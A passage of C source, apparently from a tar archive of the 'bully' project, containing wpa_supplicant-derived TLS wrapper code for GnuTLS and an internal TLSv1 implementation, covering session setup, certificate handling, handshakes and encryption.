*/ gnutls_global_set_log_function(tls_log_func); if (wpa_debug_show_keys) gnutls_global_set_log_level(11); return global; } void tls_deinit(void *ssl_ctx) { struct tls_global *global = ssl_ctx; if (global) { if (global->params_set) gnutls_certificate_free_credentials(global->xcred); os_free(global->session_data); os_free(global); } tls_gnutls_ref_count--; if (tls_gnutls_ref_count == 0) gnutls_global_deinit(); } int tls_get_errors(void *ssl_ctx) { return 0; } static ssize_t tls_pull_func(gnutls_transport_ptr ptr, void *buf, size_t len) { struct tls_connection *conn = (struct tls_connection *) ptr; const u8 *end; if (conn->pull_buf == NULL) { errno = EWOULDBLOCK; return -1; } end = wpabuf_head_u8(conn->pull_buf) + wpabuf_len(conn->pull_buf); if ((size_t) (end - conn->pull_buf_offset) < len) len = end - conn->pull_buf_offset; os_memcpy(buf, conn->pull_buf_offset, len); conn->pull_buf_offset += len; if (conn->pull_buf_offset == end) { wpa_printf(MSG_DEBUG, "%s - pull_buf consumed", __func__); wpabuf_free(conn->pull_buf); conn->pull_buf = NULL; conn->pull_buf_offset = NULL; } else { wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in pull_buf", __func__, (unsigned long) (end - conn->pull_buf_offset)); } return len; } static ssize_t tls_push_func(gnutls_transport_ptr ptr, const void *buf, size_t len) { struct tls_connection *conn = (struct tls_connection *) ptr; if (wpabuf_resize(&conn->push_buf, len) < 0) { errno = ENOMEM; return -1; } wpabuf_put_data(conn->push_buf, buf, len); return len; } static int tls_gnutls_init_session(struct tls_global *global, struct tls_connection *conn) { const int cert_types[2] = { GNUTLS_CRT_X509, 0 }; const int protos[2] = { GNUTLS_TLS1, 0 }; int ret; ret = gnutls_init(&conn->session, global->server ? GNUTLS_SERVER : GNUTLS_CLIENT); if (ret < 0) { wpa_printf(MSG_INFO, "TLS: Failed to initialize new TLS " "connection: %s", gnutls_strerror(ret)); return -1; } ret = gnutls_set_default_priority(conn->session); if (ret < 0) goto fail; ret = gnutls_certificate_type_set_priority(conn->session, cert_types); if (ret < 0) goto fail; ret = gnutls_protocol_set_priority(conn->session, protos); if (ret < 0) goto fail; gnutls_transport_set_pull_function(conn->session, tls_pull_func); gnutls_transport_set_push_function(conn->session, tls_push_func); gnutls_transport_set_ptr(conn->session, (gnutls_transport_ptr) conn); return 0; fail: wpa_printf(MSG_INFO, "TLS: Failed to setup new TLS connection: %s", gnutls_strerror(ret)); gnutls_deinit(conn->session); return -1; } struct tls_connection * tls_connection_init(void *ssl_ctx) { struct tls_global *global = ssl_ctx; struct tls_connection *conn; int ret; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; if (tls_gnutls_init_session(global, conn)) { os_free(conn); return NULL; } if (global->params_set) { ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_CERTIFICATE, global->xcred); if (ret < 0) { wpa_printf(MSG_INFO, "Failed to configure " "credentials: %s", gnutls_strerror(ret)); os_free(conn); return NULL; } } if (gnutls_certificate_allocate_credentials(&conn->xcred)) { os_free(conn); return NULL; } return conn; } void tls_connection_deinit(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return; #ifdef GNUTLS_IA if (conn->iacred_srv) gnutls_ia_free_server_credentials(conn->iacred_srv); if (conn->iacred_cli) gnutls_ia_free_client_credentials(conn->iacred_cli); if (conn->session_keys) { os_memset(conn->session_keys, 0, conn->session_keys_len); os_free(conn->session_keys); } #endif /* GNUTLS_IA */ gnutls_certificate_free_credentials(conn->xcred); gnutls_deinit(conn->session); os_free(conn->pre_shared_secret); os_free(conn->subject_match); os_free(conn->altsubject_match); wpabuf_free(conn->push_buf); wpabuf_free(conn->pull_buf); os_free(conn); } int tls_connection_established(void *ssl_ctx, struct tls_connection *conn) { return conn ? conn->established : 0; } int tls_connection_shutdown(void *ssl_ctx, struct tls_connection *conn) { struct tls_global *global = ssl_ctx; int ret; if (conn == NULL) return -1; /* Shutdown previous TLS connection without notifying the peer * because the connection was already terminated in practice * and "close notify" shutdown alert would confuse AS. */ gnutls_bye(conn->session, GNUTLS_SHUT_RDWR); wpabuf_free(conn->push_buf); conn->push_buf = NULL; conn->established = 0; conn->final_phase_finished = 0; #ifdef GNUTLS_IA if (conn->session_keys) { os_memset(conn->session_keys, 0, conn->session_keys_len); os_free(conn->session_keys); } conn->session_keys_len = 0; #endif /* GNUTLS_IA */ gnutls_deinit(conn->session); if (tls_gnutls_init_session(global, conn)) { wpa_printf(MSG_INFO, "GnuTLS: Failed to preparare new session " "for session resumption use"); return -1; } ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_CERTIFICATE, conn->params_set ? conn->xcred : global->xcred); if (ret < 0) { wpa_printf(MSG_INFO, "GnuTLS: Failed to configure credentials " "for session resumption: %s", gnutls_strerror(ret)); return -1; } if (global->session_data) { ret = gnutls_session_set_data(conn->session, global->session_data, global->session_data_size); if (ret < 0) { wpa_printf(MSG_INFO, "GnuTLS: Failed to set session " "data: %s", gnutls_strerror(ret)); return -1; } } return 0; } #if 0 static int tls_match_altsubject(X509 *cert, const char *match) { GENERAL_NAME *gen; char *field, *tmp; void *ext; int i, found = 0; size_t len; ext = X509_get_ext_d2i(cert, NID_subject_alt_name, NULL, NULL); for (i = 0; ext && i < sk_GENERAL_NAME_num(ext); i++) { gen = sk_GENERAL_NAME_value(ext, i); switch (gen->type) { case GEN_EMAIL: field = "EMAIL"; break; case GEN_DNS: field = "DNS"; break; case GEN_URI: field = "URI"; break; default: field = NULL; wpa_printf(MSG_DEBUG, "TLS: altSubjectName: " "unsupported type=%d", gen->type); break; } if (!field) continue; wpa_printf(MSG_DEBUG, "TLS: altSubjectName: %s:%s", field, gen->d.ia5->data); len = os_strlen(field) + 1 + strlen((char *) gen->d.ia5->data) + 1; tmp = os_malloc(len); if (tmp == NULL) continue; snprintf(tmp, len, "%s:%s", field, gen->d.ia5->data); if (strstr(tmp, match)) found++; os_free(tmp); } return found; } #endif #if 0 static int tls_verify_cb(int preverify_ok, X509_STORE_CTX *x509_ctx) { char buf[256]; X509 *err_cert; int err, depth; SSL *ssl; struct tls_connection *conn; char *match, *altmatch; err_cert = X509_STORE_CTX_get_current_cert(x509_ctx); err = X509_STORE_CTX_get_error(x509_ctx); depth = X509_STORE_CTX_get_error_depth(x509_ctx); ssl = X509_STORE_CTX_get_ex_data(x509_ctx, SSL_get_ex_data_X509_STORE_CTX_idx()); X509_NAME_oneline(X509_get_subject_name(err_cert), buf, sizeof(buf)); conn = SSL_get_app_data(ssl); match = conn ? conn->subject_match : NULL; altmatch = conn ? conn->altsubject_match : NULL; if (!preverify_ok) { wpa_printf(MSG_WARNING, "TLS: Certificate verification failed," " error %d (%s) depth %d for '%s'", err, X509_verify_cert_error_string(err), depth, buf); } else { wpa_printf(MSG_DEBUG, "TLS: tls_verify_cb - " "preverify_ok=%d err=%d (%s) depth=%d buf='%s'", preverify_ok, err, X509_verify_cert_error_string(err), depth, buf); if (depth == 0 && match && strstr(buf, match) == NULL) { wpa_printf(MSG_WARNING, "TLS: Subject '%s' did not " "match with '%s'", buf, match); preverify_ok = 0; } else if (depth == 0 && altmatch && !tls_match_altsubject(err_cert, altmatch)) { wpa_printf(MSG_WARNING, "TLS: altSubjectName match " "'%s' not found", altmatch); preverify_ok = 0; } } return preverify_ok; } #endif int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params) { int ret; if (conn == NULL || params == NULL) return -1; os_free(conn->subject_match); conn->subject_match = NULL; if (params->subject_match) { conn->subject_match = os_strdup(params->subject_match); if (conn->subject_match == NULL) return -1; } os_free(conn->altsubject_match); conn->altsubject_match = NULL; if (params->altsubject_match) { conn->altsubject_match = os_strdup(params->altsubject_match); if (conn->altsubject_match == NULL) return -1; } /* TODO: gnutls_certificate_set_verify_flags(xcred, flags); * to force peer validation(?) */ if (params->ca_cert) { conn->verify_peer = 1; ret = gnutls_certificate_set_x509_trust_file( conn->xcred, params->ca_cert, GNUTLS_X509_FMT_PEM); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read CA cert '%s' " "in PEM format: %s", params->ca_cert, gnutls_strerror(ret)); ret = gnutls_certificate_set_x509_trust_file( conn->xcred, params->ca_cert, GNUTLS_X509_FMT_DER); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read CA cert " "'%s' in DER format: %s", params->ca_cert, gnutls_strerror(ret)); return -1; } } if (params->flags & TLS_CONN_ALLOW_SIGN_RSA_MD5) { gnutls_certificate_set_verify_flags( conn->xcred, GNUTLS_VERIFY_ALLOW_SIGN_RSA_MD5); } if (params->flags & TLS_CONN_DISABLE_TIME_CHECKS) { gnutls_certificate_set_verify_flags( conn->xcred, GNUTLS_VERIFY_DISABLE_TIME_CHECKS); } } if (params->client_cert && params->private_key) { /* TODO: private_key_passwd? */ ret = gnutls_certificate_set_x509_key_file( conn->xcred, params->client_cert, params->private_key, GNUTLS_X509_FMT_PEM); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read client cert/key " "in PEM format: %s", gnutls_strerror(ret)); ret = gnutls_certificate_set_x509_key_file( conn->xcred, params->client_cert, params->private_key, GNUTLS_X509_FMT_DER); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read client " "cert/key in DER format: %s", gnutls_strerror(ret)); return ret; } } } else if (params->private_key) { int pkcs12_ok = 0; #ifdef PKCS12_FUNCS /* Try to load in PKCS#12 format */ #if LIBGNUTLS_VERSION_NUMBER >= 0x010302 ret = gnutls_certificate_set_x509_simple_pkcs12_file( conn->xcred, params->private_key, GNUTLS_X509_FMT_DER, params->private_key_passwd); if (ret != 0) { wpa_printf(MSG_DEBUG, "Failed to load private_key in " "PKCS#12 format: %s", gnutls_strerror(ret)); return -1; } else pkcs12_ok = 1; #endif /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */ #endif /* PKCS12_FUNCS */ if (!pkcs12_ok) { wpa_printf(MSG_DEBUG, "GnuTLS: PKCS#12 support not " "included"); return -1; } } conn->tls_ia = params->tls_ia; conn->params_set = 1; ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_CERTIFICATE, conn->xcred); if (ret < 0) { wpa_printf(MSG_INFO, "Failed to configure credentials: %s", gnutls_strerror(ret)); } #ifdef GNUTLS_IA if (conn->iacred_cli) gnutls_ia_free_client_credentials(conn->iacred_cli); ret = gnutls_ia_allocate_client_credentials(&conn->iacred_cli); if (ret) { wpa_printf(MSG_DEBUG, "Failed to allocate IA credentials: %s", gnutls_strerror(ret)); return -1; } ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_IA, conn->iacred_cli); if (ret) { wpa_printf(MSG_DEBUG, "Failed to configure IA credentials: %s", gnutls_strerror(ret)); gnutls_ia_free_client_credentials(conn->iacred_cli); conn->iacred_cli = NULL; return -1; } #endif /* GNUTLS_IE */ return ret; } int tls_global_set_params(void *tls_ctx, const struct tls_connection_params *params) { struct tls_global *global = tls_ctx; int ret; /* Currently, global parameters are only set when running in server * mode. */ global->server = 1; if (global->params_set) { gnutls_certificate_free_credentials(global->xcred); global->params_set = 0; } ret = gnutls_certificate_allocate_credentials(&global->xcred); if (ret) { wpa_printf(MSG_DEBUG, "Failed to allocate global credentials " "%s", gnutls_strerror(ret)); return -1; } if (params->ca_cert) { ret = gnutls_certificate_set_x509_trust_file( global->xcred, params->ca_cert, GNUTLS_X509_FMT_PEM); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read CA cert '%s' " "in PEM format: %s", params->ca_cert, gnutls_strerror(ret)); ret = gnutls_certificate_set_x509_trust_file( global->xcred, params->ca_cert, GNUTLS_X509_FMT_DER); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read CA cert " "'%s' in DER format: %s", params->ca_cert, gnutls_strerror(ret)); goto fail; } } if (params->flags & TLS_CONN_ALLOW_SIGN_RSA_MD5) { gnutls_certificate_set_verify_flags( global->xcred, GNUTLS_VERIFY_ALLOW_SIGN_RSA_MD5); } if (params->flags & TLS_CONN_DISABLE_TIME_CHECKS) { gnutls_certificate_set_verify_flags( global->xcred, GNUTLS_VERIFY_DISABLE_TIME_CHECKS); } } if (params->client_cert && params->private_key) { /* TODO: private_key_passwd? */ ret = gnutls_certificate_set_x509_key_file( global->xcred, params->client_cert, params->private_key, GNUTLS_X509_FMT_PEM); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read client cert/key " "in PEM format: %s", gnutls_strerror(ret)); ret = gnutls_certificate_set_x509_key_file( global->xcred, params->client_cert, params->private_key, GNUTLS_X509_FMT_DER); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read client " "cert/key in DER format: %s", gnutls_strerror(ret)); goto fail; } } } else if (params->private_key) { int pkcs12_ok = 0; #ifdef PKCS12_FUNCS /* Try to load in PKCS#12 format */ #if LIBGNUTLS_VERSION_NUMBER >= 0x010302 ret = gnutls_certificate_set_x509_simple_pkcs12_file( global->xcred, params->private_key, GNUTLS_X509_FMT_DER, params->private_key_passwd); if (ret != 0) { wpa_printf(MSG_DEBUG, "Failed to load private_key in " "PKCS#12 format: %s", gnutls_strerror(ret)); goto fail; } else pkcs12_ok = 1; #endif /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */ #endif /* PKCS12_FUNCS */ if (!pkcs12_ok) { wpa_printf(MSG_DEBUG, "GnuTLS: PKCS#12 support not " "included"); goto fail; } } global->params_set = 1; return 0; fail: gnutls_certificate_free_credentials(global->xcred); return -1; } int tls_global_set_verify(void *ssl_ctx, int check_crl) { /* TODO */ return 0; } int tls_connection_set_verify(void *ssl_ctx, struct tls_connection *conn, int verify_peer) { if (conn == NULL || conn->session == NULL) return -1; conn->verify_peer = verify_peer; gnutls_certificate_server_set_request(conn->session, verify_peer ? GNUTLS_CERT_REQUIRE : GNUTLS_CERT_REQUEST); return 0; } int tls_connection_get_keys(void *ssl_ctx, struct tls_connection *conn, struct tls_keys *keys) { #ifdef GNUTLS_INTERNAL_STRUCTURE_HACK security_parameters_st *sec; #endif /* GNUTLS_INTERNAL_STRUCTURE_HACK */ if (conn == NULL || conn->session == NULL || keys == NULL) return -1; os_memset(keys, 0, sizeof(*keys)); #ifdef GNUTLS_INTERNAL_STRUCTURE_HACK sec = &conn->session->security_parameters; keys->master_key = sec->master_secret; keys->master_key_len = TLS_MASTER_SIZE; keys->client_random = sec->client_random; keys->server_random = sec->server_random; #else /* GNUTLS_INTERNAL_STRUCTURE_HACK */ keys->client_random = (u8 *) gnutls_session_get_client_random(conn->session); keys->server_random = (u8 *) gnutls_session_get_server_random(conn->session); /* No access to master_secret */ #endif /* GNUTLS_INTERNAL_STRUCTURE_HACK */ #ifdef GNUTLS_IA gnutls_ia_extract_inner_secret(conn->session, (char *) conn->inner_secret); keys->inner_secret = conn->inner_secret; keys->inner_secret_len = TLS_MASTER_SIZE; #endif /* GNUTLS_IA */ keys->client_random_len = TLS_RANDOM_SIZE; keys->server_random_len = TLS_RANDOM_SIZE; return 0; } int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { #if LIBGNUTLS_VERSION_NUMBER >= 0x010302 if (conn == NULL || conn->session == NULL) return -1; return gnutls_prf(conn->session, os_strlen(label), label, server_random_first, 0, NULL, out_len, (char *) out); #else /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */ return -1; #endif /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */ } static int tls_connection_verify_peer(struct tls_connection *conn, gnutls_alert_description_t *err) { unsigned int status, num_certs, i; struct os_time now; const gnutls_datum_t *certs; gnutls_x509_crt_t cert; if (gnutls_certificate_verify_peers2(conn->session, &status) < 0) { wpa_printf(MSG_INFO, "TLS: Failed to verify peer " "certificate chain"); *err = GNUTLS_A_INTERNAL_ERROR; return -1; } if (conn->verify_peer && (status & GNUTLS_CERT_INVALID)) { wpa_printf(MSG_INFO, "TLS: Peer certificate not trusted"); if (status & GNUTLS_CERT_INSECURE_ALGORITHM) { wpa_printf(MSG_INFO, "TLS: Certificate uses insecure " "algorithm"); *err = GNUTLS_A_INSUFFICIENT_SECURITY; } if (status & GNUTLS_CERT_NOT_ACTIVATED) { wpa_printf(MSG_INFO, "TLS: Certificate not yet " "activated"); *err = GNUTLS_A_CERTIFICATE_EXPIRED; } if (status & GNUTLS_CERT_EXPIRED) { wpa_printf(MSG_INFO, "TLS: Certificate expired"); *err = GNUTLS_A_CERTIFICATE_EXPIRED; } return -1; } if (status & GNUTLS_CERT_SIGNER_NOT_FOUND) { wpa_printf(MSG_INFO, "TLS: Peer certificate does not have a " "known issuer"); *err = GNUTLS_A_UNKNOWN_CA; return -1; } if (status & GNUTLS_CERT_REVOKED) { wpa_printf(MSG_INFO, "TLS: Peer certificate has been revoked"); *err = GNUTLS_A_CERTIFICATE_REVOKED; return -1; } os_get_time(&now); certs = gnutls_certificate_get_peers(conn->session, &num_certs); if (certs == NULL) { wpa_printf(MSG_INFO, "TLS: No peer certificate chain " "received"); *err = GNUTLS_A_UNKNOWN_CA; return -1; } for (i = 0; i < num_certs; i++) { char *buf; size_t len; if (gnutls_x509_crt_init(&cert) < 0) { wpa_printf(MSG_INFO, "TLS: Certificate initialization " "failed"); *err = GNUTLS_A_BAD_CERTIFICATE; return -1; } if (gnutls_x509_crt_import(cert, &certs[i], GNUTLS_X509_FMT_DER) < 0) { wpa_printf(MSG_INFO, "TLS: Could not parse peer " "certificate %d/%d", i + 1, num_certs); gnutls_x509_crt_deinit(cert); *err = GNUTLS_A_BAD_CERTIFICATE; return -1; } gnutls_x509_crt_get_dn(cert, NULL, &len); len++; buf = os_malloc(len + 1); if (buf) { buf[0] = buf[len] = '\0'; gnutls_x509_crt_get_dn(cert, buf, &len); } wpa_printf(MSG_DEBUG, "TLS: Peer cert chain %d/%d: %s", i + 1, num_certs, buf); if (i == 0) { /* TODO: validate subject_match and altsubject_match */ } os_free(buf); if (gnutls_x509_crt_get_expiration_time(cert) < now.sec || gnutls_x509_crt_get_activation_time(cert) > now.sec) { wpa_printf(MSG_INFO, "TLS: Peer certificate %d/%d is " "not valid at this time", i + 1, num_certs); gnutls_x509_crt_deinit(cert); *err = GNUTLS_A_CERTIFICATE_EXPIRED; return -1; } gnutls_x509_crt_deinit(cert); } return 0; } static struct wpabuf * gnutls_get_appl_data(struct tls_connection *conn) { int res; struct wpabuf *ad; wpa_printf(MSG_DEBUG, "GnuTLS: Check for possible Application Data"); ad = wpabuf_alloc((wpabuf_len(conn->pull_buf) + 500) * 3); if (ad == NULL) return NULL; res = gnutls_record_recv(conn->session, wpabuf_mhead(ad), wpabuf_size(ad)); wpa_printf(MSG_DEBUG, "GnuTLS: gnutls_record_recv: %d", res); if (res < 0) { wpa_printf(MSG_DEBUG, "%s - gnutls_ia_recv failed: %d " "(%s)", __func__, (int) res, gnutls_strerror(res)); wpabuf_free(ad); return NULL; } wpabuf_put(ad, res); wpa_printf(MSG_DEBUG, "GnuTLS: Received %d bytes of Application Data", res); return ad; } struct wpabuf * tls_connection_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { struct tls_global *global = tls_ctx; struct wpabuf *out_data; int ret; if (appl_data) *appl_data = NULL; if (in_data && wpabuf_len(in_data) > 0) { if (conn->pull_buf) { wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in " "pull_buf", __func__, (unsigned long) wpabuf_len(conn->pull_buf)); wpabuf_free(conn->pull_buf); } conn->pull_buf = wpabuf_dup(in_data); if (conn->pull_buf == NULL) return NULL; conn->pull_buf_offset = wpabuf_head(conn->pull_buf); } ret = gnutls_handshake(conn->session); if (ret < 0) { switch (ret) { case GNUTLS_E_AGAIN: if (global->server && conn->established && conn->push_buf == NULL) { /* Need to return something to trigger * completion of EAP-TLS. */ conn->push_buf = wpabuf_alloc(0); } break; case GNUTLS_E_FATAL_ALERT_RECEIVED: wpa_printf(MSG_DEBUG, "%s - received fatal '%s' alert", __func__, gnutls_alert_get_name( gnutls_alert_get(conn->session))); conn->read_alerts++; /* continue */ default: wpa_printf(MSG_DEBUG, "%s - gnutls_handshake failed " "-> %s", __func__, gnutls_strerror(ret)); conn->failed++; } } else { size_t size; gnutls_alert_description_t err; if (conn->verify_peer && tls_connection_verify_peer(conn, &err)) { wpa_printf(MSG_INFO, "TLS: Peer certificate chain " "failed validation"); conn->failed++; gnutls_alert_send(conn->session, GNUTLS_AL_FATAL, err); goto out; } #ifdef CONFIG_GNUTLS_EXTRA if (conn->tls_ia && !gnutls_ia_handshake_p(conn->session)) { wpa_printf(MSG_INFO, "TLS: No TLS/IA negotiation"); conn->failed++; return NULL; } #endif /* CONFIG_GNUTLS_EXTRA */ if (conn->tls_ia) wpa_printf(MSG_DEBUG, "TLS: Start TLS/IA handshake"); else { wpa_printf(MSG_DEBUG, "TLS: Handshake completed " "successfully"); } conn->established = 1; if (conn->push_buf == NULL) { /* Need to return something to get final TLS ACK. */ conn->push_buf = wpabuf_alloc(0); } gnutls_session_get_data(conn->session, NULL, &size); if (global->session_data == NULL || global->session_data_size < size) { os_free(global->session_data); global->session_data = os_malloc(size); } if (global->session_data) { global->session_data_size = size; gnutls_session_get_data(conn->session, global->session_data, &global->session_data_size); } if (conn->pull_buf && appl_data) *appl_data = gnutls_get_appl_data(conn); } out: out_data = conn->push_buf; conn->push_buf = NULL; return out_data; } struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return tls_connection_handshake(tls_ctx, conn, in_data, appl_data); } struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { ssize_t res; struct wpabuf *buf; #ifdef GNUTLS_IA if (conn->tls_ia) res = gnutls_ia_send(conn->session, wpabuf_head(in_data), wpabuf_len(in_data)); else #endif /* GNUTLS_IA */ res = gnutls_record_send(conn->session, wpabuf_head(in_data), wpabuf_len(in_data)); if (res < 0) { wpa_printf(MSG_INFO, "%s: Encryption failed: %s", __func__, gnutls_strerror(res)); return NULL; } buf = conn->push_buf; conn->push_buf = NULL; return buf; } struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { ssize_t res; struct wpabuf *out; if (conn->pull_buf) { wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in " "pull_buf", __func__, (unsigned long) wpabuf_len(conn->pull_buf)); wpabuf_free(conn->pull_buf); } conn->pull_buf = wpabuf_dup(in_data); if (conn->pull_buf == NULL) return NULL; conn->pull_buf_offset = wpabuf_head(conn->pull_buf); /* * Even though we try to disable TLS compression, it is possible that * this cannot be done with all TLS libraries. Add extra buffer space * to handle the possibility of the decrypted data being longer than * input data. */ out = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3); if (out == NULL) return NULL; #ifdef GNUTLS_IA if (conn->tls_ia) { res = gnutls_ia_recv(conn->session, wpabuf_mhead(out), wpabuf_size(out)); if (res == GNUTLS_E_WARNING_IA_IPHF_RECEIVED || res == GNUTLS_E_WARNING_IA_FPHF_RECEIVED) { int final = res == GNUTLS_E_WARNING_IA_FPHF_RECEIVED; wpa_printf(MSG_DEBUG, "%s: Received %sPhaseFinished", __func__, final ? "Final" : "Intermediate"); res = gnutls_ia_permute_inner_secret( conn->session, conn->session_keys_len, (char *) conn->session_keys); if (conn->session_keys) { os_memset(conn->session_keys, 0, conn->session_keys_len); os_free(conn->session_keys); } conn->session_keys = NULL; conn->session_keys_len = 0; if (res) { wpa_printf(MSG_DEBUG, "%s: Failed to permute " "inner secret: %s", __func__, gnutls_strerror(res)); wpabuf_free(out); return NULL; } res = gnutls_ia_verify_endphase(conn->session, wpabuf_head(out)); if (res == 0) { wpa_printf(MSG_DEBUG, "%s: Correct endphase " "checksum", __func__); } else { wpa_printf(MSG_INFO, "%s: Endphase " "verification failed: %s", __func__, gnutls_strerror(res)); wpabuf_free(out); return NULL; } if (final) conn->final_phase_finished = 1; return out; } if (res < 0) { wpa_printf(MSG_DEBUG, "%s - gnutls_ia_recv failed: %d " "(%s)", __func__, (int) res, gnutls_strerror(res)); wpabuf_free(out); return NULL; } wpabuf_put(out, res); return out; } #endif /* GNUTLS_IA */ res = gnutls_record_recv(conn->session, wpabuf_mhead(out), wpabuf_size(out)); if (res < 0) { wpa_printf(MSG_DEBUG, "%s - gnutls_record_recv failed: %d " "(%s)", __func__, (int) res, gnutls_strerror(res)); wpabuf_free(out); return NULL; } wpabuf_put(out, res); return out; } int tls_connection_resumed(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return 0; return gnutls_session_is_resumed(conn->session); } int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers) { /* TODO */ return -1; } int tls_get_cipher(void *ssl_ctx, struct tls_connection *conn, char *buf, size_t buflen) { /* TODO */ buf[0] = '\0'; return 0; } int tls_connection_enable_workaround(void *ssl_ctx, struct tls_connection *conn) { gnutls_record_disable_padding(conn->session); return 0; } int tls_connection_client_hello_ext(void *ssl_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len) { /* TODO */ return -1; } int tls_connection_get_failed(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->failed; } int tls_connection_get_read_alerts(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->read_alerts; } int tls_connection_get_write_alerts(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->write_alerts; } int tls_connection_get_keyblock_size(void *tls_ctx, struct tls_connection *conn) { /* TODO */ return -1; } unsigned int tls_capabilities(void *tls_ctx) { unsigned int capa = 0; #ifdef GNUTLS_IA capa |= TLS_CAPABILITY_IA; #endif /* GNUTLS_IA */ return capa; } int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia) { #ifdef GNUTLS_IA int ret; if (conn == NULL) return -1; conn->tls_ia = tls_ia; if (!tls_ia) return 0; ret = gnutls_ia_allocate_server_credentials(&conn->iacred_srv); if (ret) { wpa_printf(MSG_DEBUG, "Failed to allocate IA credentials: %s", gnutls_strerror(ret)); return -1; } ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_IA, conn->iacred_srv); if (ret) { wpa_printf(MSG_DEBUG, "Failed to configure IA credentials: %s", gnutls_strerror(ret)); gnutls_ia_free_server_credentials(conn->iacred_srv); conn->iacred_srv = NULL; return -1; } return 0; #else /* GNUTLS_IA */ return -1; #endif /* GNUTLS_IA */ } struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final) { #ifdef GNUTLS_IA int ret; struct wpabuf *buf; if (conn == NULL || conn->session == NULL || !conn->tls_ia) return NULL; ret = gnutls_ia_permute_inner_secret(conn->session, conn->session_keys_len, (char *) conn->session_keys); if (conn->session_keys) { os_memset(conn->session_keys, 0, conn->session_keys_len); os_free(conn->session_keys); } conn->session_keys = NULL; conn->session_keys_len = 0; if (ret) { wpa_printf(MSG_DEBUG, "%s: Failed to permute inner secret: %s", __func__, gnutls_strerror(ret)); return NULL; } ret = gnutls_ia_endphase_send(conn->session, final); if (ret) { wpa_printf(MSG_DEBUG, "%s: Failed to send endphase: %s", __func__, gnutls_strerror(ret)); return NULL; } buf = conn->push_buf; conn->push_buf = NULL; return buf; #else /* GNUTLS_IA */ return NULL; #endif /* GNUTLS_IA */ } int tls_connection_ia_final_phase_finished(void *tls_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->final_phase_finished; } int tls_connection_ia_permute_inner_secret(void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len) { #ifdef GNUTLS_IA if (conn == NULL || !conn->tls_ia) return -1; if (conn->session_keys) { os_memset(conn->session_keys, 0, conn->session_keys_len); os_free(conn->session_keys); } conn->session_keys_len = 0; if (key) { conn->session_keys = os_malloc(key_len); if (conn->session_keys == NULL) return -1; os_memcpy(conn->session_keys, key, key_len); conn->session_keys_len = key_len; } else { conn->session_keys = NULL; conn->session_keys_len = 0; } return 0; #else /* GNUTLS_IA */ return -1; #endif /* GNUTLS_IA */ } int tls_connection_set_session_ticket_cb(void *tls_ctx, struct tls_connection *conn, tls_session_ticket_cb cb, void *ctx) { return -1; } bully-1.4-00/src/crypto/tls_internal.c000077500000000000000000000353651361530463600177210ustar00rootroot00000000000000/* * TLS interface functions and an internal TLS implementation * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file interface functions for hostapd/wpa_supplicant to use the * integrated TLSv1 implementation. */ #include "includes.h" #include "common.h" #include "tls.h" #include "tls/tlsv1_client.h" #include "tls/tlsv1_server.h" static int tls_ref_count = 0; struct tls_global { int server; struct tlsv1_credentials *server_cred; int check_crl; }; struct tls_connection { struct tlsv1_client *client; struct tlsv1_server *server; }; void * tls_init(const struct tls_config *conf) { struct tls_global *global; if (tls_ref_count == 0) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (tlsv1_client_global_init()) return NULL; #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (tlsv1_server_global_init()) return NULL; #endif /* CONFIG_TLS_INTERNAL_SERVER */ } tls_ref_count++; global = os_zalloc(sizeof(*global)); if (global == NULL) return NULL; return global; } void tls_deinit(void *ssl_ctx) { struct tls_global *global = ssl_ctx; tls_ref_count--; if (tls_ref_count == 0) { #ifdef CONFIG_TLS_INTERNAL_CLIENT tlsv1_client_global_deinit(); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER tlsv1_cred_free(global->server_cred); tlsv1_server_global_deinit(); 